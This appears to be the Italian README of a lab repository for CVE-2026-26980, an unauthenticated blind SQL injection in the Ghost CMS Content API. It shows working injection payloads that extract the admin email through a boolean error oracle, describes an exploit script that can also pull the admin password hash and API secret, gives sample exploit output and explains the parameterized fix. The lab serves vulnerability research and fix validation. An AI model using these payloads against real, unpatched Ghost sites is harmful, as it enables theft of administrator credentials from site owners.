
CVE-2026-26980 — Lab di SQL Injection nell'API dei Contenuti di Ghost CMS (blind SQLi non autenticato tramite ordinamento del filtro slug)
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critico) |
| CWE | CWE-89 (SQL Injection) |
| Versioni vulnerabili | Ghost 3.24.0 -- 6.19.0 |
| Versione corretta | Ghost 6.19.1 |
| Autenticazione richiesta | Nessuna (la chiave della Content API è pubblica per design) |
| Crediti/Riferimenti | Nicholas Carlini con Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Disclaimer -- Questo lab è destinato esclusivamente a test di sicurezza autorizzati, formazione e ricerca difensiva. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
La Content API di Ghost supporta il filtraggio di tag e post per slug utilizzando la notazione ad array: filter=slug:[tag-a,tag-b]. Internamente, una funzione helper costruisce un'istruzione ORDER BY CASE per preservare l'ordine degli slug richiesto. Prima della v6.19.1, i valori slug forniti dall'utente venivano interpolati direttamente in questa SQL senza parametrizzazione:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABILE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
La chiave della Content API è incorporata nell'HTML di ogni sito Ghost (data-key="..."), rendendo questa una superficie d'attacco completamente non autenticata.
Il linguaggio di query NQL di Ghost valida l'input del filtro e rifiuta apici singoli o spazi non elaborati. Tuttavia, NQL accetta valori racchiusi tra apici singoli all'interno della notazione ad array (slug:['value']), passando gli apici come parte del letterale. La regex slugFilterOrder estrae questi valori e li interpola — apici inclusi — nella SQL:
Filtro: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL passa gli apici come caratteri letterali
Dopo l'interpolazione, l'ORDER BY diventa:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
Nella modalità SQL predefinita di MySQL, || è OR e '' è falso. Questo ci fornisce un oracolo booleano pulito:
| Condizione | Risultato CASE | Effetto |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | Risposta normale (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | Errore di overflow DOUBLE (HTTP 500) |
Con l'oracolo stabilito, si applica la standard estrazione blind tramite ricerca binaria:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
La sintassi SUBSTR(... FROM pos FOR len) evita le virgole (che slugFilterOrder usa come separatori).
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





La correzione sostituisce l'interpolazione di stringhe con binding parametrizzati:
// CORRETTO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
Il plugin crud.js è stato aggiornato per far passare i binding attraverso orderByRaw, e @tryghost/bookshelf-plugins è stato portato alla 0.6.29 che aggiunge il supporto ai binding.
requests# Clona ed entra nel lab
git clone <questo-repo> && cd ghost-cve-2026-26980
# Installa la dipendenza Python
pip install -r requirements.txt
# Avvia l'istanza Ghost vulnerabile (6.18.0 + MySQL 8)
docker compose up -d
# Attendi ~45 secondi per l'inizializzazione di Ghost, poi esegui l'exploit
python3 exploit.py --url http://localhost:2368
# Avvia anche il Ghost 6.19.1 corretto sulla porta 2369
docker compose --profile fixed up -d
# Attendi ~45 secondi, poi conferma che la correzione blocca l'iniezione
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL URL di Ghost (predefinito: http://localhost:2368)
--validate-fix Conferma che il target NON è vulnerabile
--extract-password Estrae anche l'hash bcrypt dell'admin
--extract-api-key Estrae anche il segreto API dell'admin
--content-key KEY Salta la configurazione, usa direttamente questa chiave della Content API
-v, --verbose Mostra i risultati dell'oracolo per ogni query
====================================================
CVE-2026-26980 — SQL Injection nella Content API di Ghost CMS
====================================================
[*] Attesa che Ghost sia pronto su http://localhost:2368
[*] Configurazione di Ghost (admin: [email protected])
[+] Configurazione completata — creazione sessione
[+] Accesso effettuato
[+] Chiave della Content API: ad63c06a71457583ea58f050c1
[+] Slug di ancoraggio: news
[*] Fase 1 — verifica blind booleana
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Oracolo booleano confermato — VULNERABILE
[*] Fase 2a — estrazione email admin
Misurazione lunghezza email admin... 21 caratteri
Estrazione: [email protected]
[+] Email: [email protected]
============================================================
RIEPILOGO SFRUTTAMENTO
============================================================
Target: http://localhost:2368
CVE: CVE-2026-26980
Chiave Content: ad63c06a71457583ea58f050c1
Email admin: [email protected]
============================================================
Una seconda vulnerabilità è stata corretta nella stessa release. L'helper Handlebars {{#get}} di Ghost utilizzava il pacchetto jsonpath (che dipende da static-eval) per risolvere le espressioni di percorso. Temi dannosi potevano creare espressioni che raggiungevano Function() tramite traversal del prototipo, ottenendo esecuzione di codice lato server.
| CVE | CVE-2026-29053 |
| Versioni vulnerabili | Ghost 0.7.2 -- 6.19.0 |
| Autenticazione | Admin (upload di temi) |
| Correzione | Sostituito jsonpath con una funzione ristretta querySimplePath() che supporta solo notazione a punti, [N] e [*] |
Questo lab si concentra su CVE-2026-26980 poiché non richiede autenticazione ed è più impattante per attaccanti esterni.
.
├── README.md # Questo file
├── docker-compose.yml # Ghost 6.18.0 (vulnerabile) + 6.19.1 (corretto) con MySQL 8
├── exploit.py # PoC completo: configurazione, verifica, estrazione
├── validate.sh # Wrapper di validazione end-to-end
└── requirements.txt # Dipendenze Python
Questo lab è fornito a scopo educativo e per test di sicurezza autorizzati sotto la licenza MIT.